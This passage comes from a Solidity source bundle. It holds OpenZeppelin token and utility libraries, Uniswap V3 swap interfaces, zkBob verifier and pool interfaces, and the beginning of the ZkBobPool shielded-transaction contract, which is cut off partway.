instead.\n */\n function safeApprove(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n // safeApprove should only be called when setting an initial allowance,\n // or when resetting it to zero. To increase and decrease it, use\n // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\n require(\n (value == 0) || (token.allowance(address(this), spender) == 0),\n \"SafeERC20: approve from non-zero to non-zero allowance\"\n );\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\n }\n\n function safeIncreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n uint256 newAllowance = token.allowance(address(this), spender) + value;\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\n }\n\n function safeDecreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n unchecked {\n uint256 oldAllowance = token.allowance(address(this), spender);\n require(oldAllowance >= value, \"SafeERC20: decreased allowance below zero\");\n uint256 newAllowance = oldAllowance - value;\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\n }\n }\n\n function safePermit(\n IERC20Permit token,\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal {\n uint256 nonceBefore = token.nonces(owner);\n token.permit(owner, spender, value, deadline, v, r, s);\n uint256 nonceAfter = token.nonces(owner);\n require(nonceAfter == nonceBefore + 1, \"SafeERC20: permit did not succeed\");\n }\n\n /**\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\n * on the return value: the return value is optional (but if data is returned, it must not be false).\n * @param token The token targeted by the call.\n * @param data The call data (encoded using abi.encode or one of its variants).\n */\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\n // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that\n // the target address contains contract code and also asserts for success in the low-level call.\n\n bytes memory returndata = address(token).functionCall(data, \"SafeERC20: low-level call failed\");\n if (returndata.length > 0) {\n // Return data is optional\n require(abi.decode(returndata, (bool)), \"SafeERC20: ERC20 operation did not succeed\");\n }\n }\n}\n", + "lib/_openzeppelin/contracts/contracts/utils/Address.sol": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\n *\n * _Available since v4.8._\n */\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n // only check isContract if the call was successful and the return data is empty\n // otherwise we already know that it was a contract\n require(isContract(target), \"Address: call to non-contract\");\n }\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n /**\n * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason or using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(bytes memory returndata, string memory errorMessage) private pure {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n", + "lib/_openzeppelin/contracts/contracts/utils/Context.sol": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n", + "lib/_openzeppelin/contracts/contracts/utils/Strings.sol": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Strings.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev String operations.\n */\nlibrary Strings {\n bytes16 private constant _HEX_SYMBOLS = \"0123456789abcdef\";\n uint8 private constant _ADDRESS_LENGTH = 20;\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n */\n function toString(uint256 value) internal pure returns (string memory) {\n // Inspired by OraclizeAPI's implementation - MIT licence\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\n\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n }\n return string(buffer);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\n */\n function toHexString(uint256 value) internal pure returns (string memory) {\n if (value == 0) {\n return \"0x00\";\n }\n uint256 temp = value;\n uint256 length = 0;\n while (temp != 0) {\n length++;\n temp >>= 8;\n }\n return toHexString(value, length);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\n */\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 * length + 2);\n buffer[0] = \"0\";\n buffer[1] = \"x\";\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = _HEX_SYMBOLS[value & 0xf];\n value >>= 4;\n }\n require(value == 0, \"Strings: hex length insufficient\");\n return string(buffer);\n }\n\n /**\n * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal representation.\n */\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);\n }\n}\n", + "lib/_openzeppelin/contracts/contracts/utils/cryptography/ECDSA.sol": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/cryptography/ECDSA.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../Strings.sol\";\n\n/**\n * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.\n *\n * These functions can be used to verify that a message was signed by the holder\n * of the private keys of a given address.\n */\nlibrary ECDSA {\n enum RecoverError {\n NoError,\n InvalidSignature,\n InvalidSignatureLength,\n InvalidSignatureS,\n InvalidSignatureV\n }\n\n function _throwError(RecoverError error) private pure {\n if (error == RecoverError.NoError) {\n return; // no error: do nothing\n } else if (error == RecoverError.InvalidSignature) {\n revert(\"ECDSA: invalid signature\");\n } else if (error == RecoverError.InvalidSignatureLength) {\n revert(\"ECDSA: invalid signature length\");\n } else if (error == RecoverError.InvalidSignatureS) {\n revert(\"ECDSA: invalid signature 's' value\");\n } else if (error == RecoverError.InvalidSignatureV) {\n revert(\"ECDSA: invalid signature 'v' value\");\n }\n }\n\n /**\n * @dev Returns the address that signed a hashed message (`hash`) with\n * `signature` or error string. This address can then be used for verification purposes.\n *\n * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:\n * this function rejects them by requiring the `s` value to be in the lower\n * half order, and the `v` value to be either 27 or 28.\n *\n * IMPORTANT: `hash` _must_ be the result of a hash operation for the\n * verification to be secure: it is possible to craft signatures that\n * recover to arbitrary addresses for non-hashed data. A safe way to ensure\n * this is by receiving a hash of the original message (which may otherwise\n * be too long), and then calling {toEthSignedMessageHash} on it.\n *\n * Documentation for signature generation:\n * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]\n * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]\n *\n * _Available since v4.3._\n */\n function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {\n // Check the signature length\n // - case 65: r,s,v signature (standard)\n // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._\n if (signature.length == 65) {\n bytes32 r;\n bytes32 s;\n uint8 v;\n // ecrecover takes the signature parameters, and the only way to get them\n // currently is to use assembly.\n /// @solidity memory-safe-assembly\n assembly {\n r := mload(add(signature, 0x20))\n s := mload(add(signature, 0x40))\n v := byte(0, mload(add(signature, 0x60)))\n }\n return tryRecover(hash, v, r, s);\n } else if (signature.length == 64) {\n bytes32 r;\n bytes32 vs;\n // ecrecover takes the signature parameters, and the only way to get them\n // currently is to use assembly.\n /// @solidity memory-safe-assembly\n assembly {\n r := mload(add(signature, 0x20))\n vs := mload(add(signature, 0x40))\n }\n return tryRecover(hash, r, vs);\n } else {\n return (address(0), RecoverError.InvalidSignatureLength);\n }\n }\n\n /**\n * @dev Returns the address that signed a hashed message (`hash`) with\n * `signature`. This address can then be used for verification purposes.\n *\n * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:\n * this function rejects them by requiring the `s` value to be in the lower\n * half order, and the `v` value to be either 27 or 28.\n *\n * IMPORTANT: `hash` _must_ be the result of a hash operation for the\n * verification to be secure: it is possible to craft signatures that\n * recover to arbitrary addresses for non-hashed data. A safe way to ensure\n * this is by receiving a hash of the original message (which may otherwise\n * be too long), and then calling {toEthSignedMessageHash} on it.\n */\n function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {\n (address recovered, RecoverError error) = tryRecover(hash, signature);\n _throwError(error);\n return recovered;\n }\n\n /**\n * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.\n *\n * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]\n *\n * _Available since v4.3._\n */\n function tryRecover(\n bytes32 hash,\n bytes32 r,\n bytes32 vs\n ) internal pure returns (address, RecoverError) {\n bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);\n uint8 v = uint8((uint256(vs) >> 255) + 27);\n return tryRecover(hash, v, r, s);\n }\n\n /**\n * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.\n *\n * _Available since v4.2._\n */\n function recover(\n bytes32 hash,\n bytes32 r,\n bytes32 vs\n ) internal pure returns (address) {\n (address recovered, RecoverError error) = tryRecover(hash, r, vs);\n _throwError(error);\n return recovered;\n }\n\n /**\n * @dev Overload of {ECDSA-tryRecover} that receives the `v`,\n * `r` and `s` signature fields separately.\n *\n * _Available since v4.3._\n */\n function tryRecover(\n bytes32 hash,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal pure returns (address, RecoverError) {\n // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature\n // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines\n // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most\n // signatures from current libraries generate a unique signature with an s-value in the lower half order.\n //\n // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value\n // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or\n // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept\n // these malleable signatures as well.\n if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {\n return (address(0), RecoverError.InvalidSignatureS);\n }\n if (v != 27 && v != 28) {\n return (address(0), RecoverError.InvalidSignatureV);\n }\n\n // If the signature is valid (and not malleable), return the signer address\n address signer = ecrecover(hash, v, r, s);\n if (signer == address(0)) {\n return (address(0), RecoverError.InvalidSignature);\n }\n\n return (signer, RecoverError.NoError);\n }\n\n /**\n * @dev Overload of {ECDSA-recover} that receives the `v`,\n * `r` and `s` signature fields separately.\n */\n function recover(\n bytes32 hash,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal pure returns (address) {\n (address recovered, RecoverError error) = tryRecover(hash, v, r, s);\n _throwError(error);\n return recovered;\n }\n\n /**\n * @dev Returns an Ethereum Signed Message, created from a `hash`. This\n * produces hash corresponding to the one signed with the\n * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]\n * JSON-RPC method as part of EIP-191.\n *\n * See {recover}.\n */\n function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {\n // 32 is the length in bytes of hash,\n // enforced by the type signature above\n return keccak256(abi.encodePacked(\"\\x19Ethereum Signed Message:\\n32\", hash));\n }\n\n /**\n * @dev Returns an Ethereum Signed Message, created from `s`. This\n * produces hash corresponding to the one signed with the\n * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]\n * JSON-RPC method as part of EIP-191.\n *\n * See {recover}.\n */\n function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) {\n return keccak256(abi.encodePacked(\"\\x19Ethereum Signed Message:\\n\", Strings.toString(s.length), s));\n }\n\n /**\n * @dev Returns an Ethereum Signed Typed Data, created from a\n * `domainSeparator` and a `structHash`. This produces hash corresponding\n * to the one signed with the\n * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]\n * JSON-RPC method as part of EIP-712.\n *\n * See {recover}.\n */\n function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {\n return keccak256(abi.encodePacked(\"\\x19\\x01\", domainSeparator, structHash));\n }\n}\n", + "lib/_uniswap/v3-core/contracts/interfaces/callback/IUniswapV3SwapCallback.sol": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Callback for IUniswapV3PoolActions#swap\n/// @notice Any contract that calls IUniswapV3PoolActions#swap must implement this interface\ninterface IUniswapV3SwapCallback {\n /// @notice Called to `msg.sender` after executing a swap via IUniswapV3Pool#swap.\n /// @dev In the implementation you must pay the pool tokens owed for the swap.\n /// The caller of this method must be checked to be a UniswapV3Pool deployed by the canonical UniswapV3Factory.\n /// amount0Delta and amount1Delta can both be 0 if no tokens were swapped.\n /// @param amount0Delta The amount of token0 that was sent (negative) or must be received (positive) by the pool by\n /// the end of the swap. If positive, the callback must send that amount of token0 to the pool.\n /// @param amount1Delta The amount of token1 that was sent (negative) or must be received (positive) by the pool by\n /// the end of the swap. If positive, the callback must send that amount of token1 to the pool.\n /// @param data Any data passed through by the caller via the IUniswapV3PoolActions#swap call\n function uniswapV3SwapCallback(\n int256 amount0Delta,\n int256 amount1Delta,\n bytes calldata data\n ) external;\n}\n", + "lib/_uniswap/v3-periphery/contracts/interfaces/IPeripheryImmutableState.sol": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Immutable state\n/// @notice Functions that return immutable state of the router\ninterface IPeripheryImmutableState {\n /// @return Returns the address of the Uniswap V3 factory\n function factory() external view returns (address);\n\n /// @return Returns the address of WETH9\n function WETH9() external view returns (address);\n}\n", + "lib/_uniswap/v3-periphery/contracts/interfaces/ISwapRouter.sol": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.7.5;\npragma abicoder v2;\n\nimport '@uniswap/v3-core/contracts/interfaces/callback/IUniswapV3SwapCallback.sol';\n\n/// @title Router token swapping functionality\n/// @notice Functions for swapping tokens via Uniswap V3\ninterface ISwapRouter is IUniswapV3SwapCallback {\n struct ExactInputSingleParams {\n address tokenIn;\n address tokenOut;\n uint24 fee;\n address recipient;\n uint256 deadline;\n uint256 amountIn;\n uint256 amountOutMinimum;\n uint160 sqrtPriceLimitX96;\n }\n\n /// @notice Swaps `amountIn` of one token for as much as possible of another token\n /// @param params The parameters necessary for the swap, encoded as `ExactInputSingleParams` in calldata\n /// @return amountOut The amount of the received token\n function exactInputSingle(ExactInputSingleParams calldata params) external payable returns (uint256 amountOut);\n\n struct ExactInputParams {\n bytes path;\n address recipient;\n uint256 deadline;\n uint256 amountIn;\n uint256 amountOutMinimum;\n }\n\n /// @notice Swaps `amountIn` of one token for as much as possible of another along the specified path\n /// @param params The parameters necessary for the multi-hop swap, encoded as `ExactInputParams` in calldata\n /// @return amountOut The amount of the received token\n function exactInput(ExactInputParams calldata params) external payable returns (uint256 amountOut);\n\n struct ExactOutputSingleParams {\n address tokenIn;\n address tokenOut;\n uint24 fee;\n address recipient;\n uint256 deadline;\n uint256 amountOut;\n uint256 amountInMaximum;\n uint160 sqrtPriceLimitX96;\n }\n\n /// @notice Swaps as little as possible of one token for `amountOut` of another token\n /// @param params The parameters necessary for the swap, encoded as `ExactOutputSingleParams` in calldata\n /// @return amountIn The amount of the input token\n function exactOutputSingle(ExactOutputSingleParams calldata params) external payable returns (uint256 amountIn);\n\n struct ExactOutputParams {\n bytes path;\n address recipient;\n uint256 deadline;\n uint256 amountOut;\n uint256 amountInMaximum;\n }\n\n /// @notice Swaps as little as possible of one token for `amountOut` of another along the specified path (reversed)\n /// @param params The parameters necessary for the multi-hop swap, encoded as `ExactOutputParams` in calldata\n /// @return amountIn The amount of the input token\n function exactOutput(ExactOutputParams calldata params) external payable returns (uint256 amountIn);\n}\n", + "lib/_uniswap/v3-periphery/contracts/interfaces/external/IWETH9.sol": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity =0.8.15;\n\nimport '@openzeppelin/contracts/token/ERC20/IERC20.sol';\n\n/// @title Interface for WETH9\ninterface IWETH9 is IERC20 {\n /// @notice Deposit ether to get wrapped ether\n function deposit() external payable;\n\n /// @notice Withdraw wrapped ether to get ether\n function withdraw(uint256) external;\n}\n", + "src/interfaces/IBatchDepositVerifier.sol": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.15;\n\ninterface IBatchDepositVerifier {\n function verifyProof(uint256[1] memory input, uint256[8] memory p) external view returns (bool);\n}\n", + "src/interfaces/IERC20Permit.sol": "// SPDX-License-Identifier: CC0-1.0\n\npragma solidity 0.8.15;\n\ninterface IERC20Permit {\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n )\n external;\n\n function nonces(address owner) external view returns (uint256);\n\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n\n function PERMIT_TYPEHASH() external view returns (bytes32);\n\n function SALTED_PERMIT_TYPEHASH() external view returns (bytes32);\n\n function receiveWithPermit(\n address _holder,\n uint256 _value,\n uint256 _deadline,\n uint8 _v,\n bytes32 _r,\n bytes32 _s\n )\n external;\n\n function receiveWithSaltedPermit(\n address _holder,\n uint256 _value,\n uint256 _deadline,\n bytes32 _salt,\n uint8 _v,\n bytes32 _r,\n bytes32 _s\n )\n external;\n}\n", + "src/interfaces/IMintableERC20.sol": "// SPDX-License-Identifier: CC0-1.0\n\npragma solidity 0.8.15;\n\ninterface IMintableERC20 {\n function mint(address to, uint256 amount) external;\n}\n", + "src/interfaces/IOperatorManager.sol": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.15;\n\ninterface IOperatorManager {\n function isOperator(address _addr) external view returns (bool);\n\n function isOperatorFeeReceiver(address _operator, address _addr) external view returns (bool);\n\n function operatorURI() external view returns (string memory);\n}\n", + "src/interfaces/ITokenSeller.sol": "// SPDX-License-Identifier: CC0-1.0\n\npragma solidity 0.8.15;\n\ninterface ITokenSeller {\n /**\n * @dev Sells tokens for ETH.\n * Prior to calling this function, contract balance of token0 should be greater than or equal to the sold amount.\n * @param _receiver native ETH receiver.\n * @param _amount amount of tokens to sell.\n * @return (received eth amount, refunded token amount).\n */\n function sellForETH(address _receiver, uint256 _amount) external returns (uint256, uint256);\n\n /**\n * @dev Estimates amount of received ETH, when selling given amount of tokens via sellForETH function.\n * @param _amount amount of tokens to sell.\n * @return received eth amount.\n */\n function quoteSellForETH(uint256 _amount) external returns (uint256);\n}\n", + "src/interfaces/ITransferVerifier.sol": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.15;\n\ninterface ITransferVerifier {\n function verifyProof(uint256[5] memory input, uint256[8] memory p) external view returns (bool);\n}\n", + "src/interfaces/ITreeVerifier.sol": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.15;\n\ninterface ITreeVerifier {\n function verifyProof(uint256[3] memory input, uint256[8] memory p) external view returns (bool);\n}\n", + "src/interfaces/IZkBobDirectDepositQueue.sol": "// SPDX-License-Identifier: CC0-1.0\n\npragma solidity ^0.8.0;\n\ninterface IZkBobDirectDepositQueue {\n function collect(\n uint256[] calldata _indices,\n uint256 _out_commit\n )\n external\n returns (uint256 total, uint256 totalFee, uint256 hashsum, bytes memory message);\n}\n", + "src/interfaces/IZkBobPool.sol": "// SPDX-License-Identifier: CC0-1.0\n\npragma solidity ^0.8.0;\n\ninterface IZkBobPool {\n function pool_id() external view returns (uint256);\n\n function recordDirectDeposit(address _sender, uint256 _amount) external;\n}\n", + "src/proxy/EIP1967Admin.sol": "// SPDX-License-Identifier: CC0-1.0\n\npragma solidity 0.8.15;\n\n/**\n * @title EIP1967Admin\n * @dev Upgradeable proxy pattern implementation according to minimalistic EIP1967.\n */\ncontract EIP1967Admin {\n // EIP 1967\n // bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)\n uint256 internal constant EIP1967_ADMIN_STORAGE = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;\n\n modifier onlyAdmin() {\n require(msg.sender == _admin(), \"EIP1967Admin: not an admin\");\n _;\n }\n\n function _admin() internal view returns (address res) {\n assembly {\n res := sload(EIP1967_ADMIN_STORAGE)\n }\n }\n}\n", + "src/utils/Ownable.sol": "// SPDX-License-Identifier: CC0-1.0\n\npragma solidity 0.8.15;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as OZOwnable;\n\n/**\n * @title Ownable\n */\ncontract Ownable is OZOwnable.Ownable {\n /**\n * @dev Throws if the sender is not the owner.\n */\n function _checkOwner() internal view override {\n require(_isOwner(), \"Ownable: caller is not the owner\");\n }\n\n /**\n * @dev Tells if caller is the contract owner.\n * @return true, if caller is the contract owner.\n */\n function _isOwner() internal view virtual returns (bool) {\n return owner() == _msgSender();\n }\n}\n", + "src/zkbob/ZkBobPool.sol": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.15;\n\nimport \"@openzeppelin/contracts/utils/Address.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport {SafeERC20} from \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\";\nimport \"@uniswap/v3-periphery/contracts/interfaces/ISwapRouter.sol\";\nimport \"@uniswap/v3-periphery/contracts/interfaces/IPeripheryImmutableState.sol\";\nimport \"@uniswap/v3-periphery/contracts/interfaces/external/IWETH9.sol\";\nimport \"../interfaces/ITransferVerifier.sol\";\nimport \"../interfaces/ITreeVerifier.sol\";\nimport \"../interfaces/IBatchDepositVerifier.sol\";\nimport \"../interfaces/IMintableERC20.sol\";\nimport \"../interfaces/IOperatorManager.sol\";\nimport \"../interfaces/IERC20Permit.sol\";\nimport \"../interfaces/ITokenSeller.sol\";\nimport \"../interfaces/IZkBobDirectDepositQueue.sol\";\nimport \"../interfaces/IZkBobPool.sol\";\nimport \"./utils/Parameters.sol\";\nimport \"./utils/ZkBobAccounting.sol\";\nimport \"../utils/Ownable.sol\";\nimport \"../proxy/EIP1967Admin.sol\";\n\n/**\n * @title ZkBobPool\n * Shielded transactions pool for BOB tokens.\n */\ncontract ZkBobPool is IZkBobPool, EIP1967Admin, Ownable, Parameters, ZkBobAccounting {\n using SafeERC20 for IERC20;\n\n uint256 internal constant MAX_POOL_ID = 0xffffff;\n uint256 internal constant TOKEN_DENOMINATOR = 1_000_000_000;\n bytes4 internal constant MESSAGE_PREFIX_COMMON_V1 = 0x00000000;\n// bytes4 internal constant MESSAGE_PREFIX_DIRECT_DEPOSIT_V1 = 0x00000001;\n// uint256 internal constant MAX_NUMBER_OF_DIRECT_DEPOSITS = 16;\n\n uint256 public immutable pool_id;\n ITransferVerifier public immutable transfer_verifier;\n ITreeVerifier public immutable tree_verifier;\n IBatchDepositVerifier public immutable batch_deposit_verifier;\n address public immutable token;\n IZkBobDirectDepositQueue public immutable direct_deposit_queue;\n\n IOperatorManager public operatorManager;\n\n mapping(uint256 => uint256) public nullifiers;\n mapping(uint256 => uint256) public roots;\n bytes32 public all_messages_hash;\n\n mapping(address => uint256) public accumulatedFee;\n\n ITokenSeller public tokenSeller;\n\n event UpdateTokenSeller(address seller);\n event 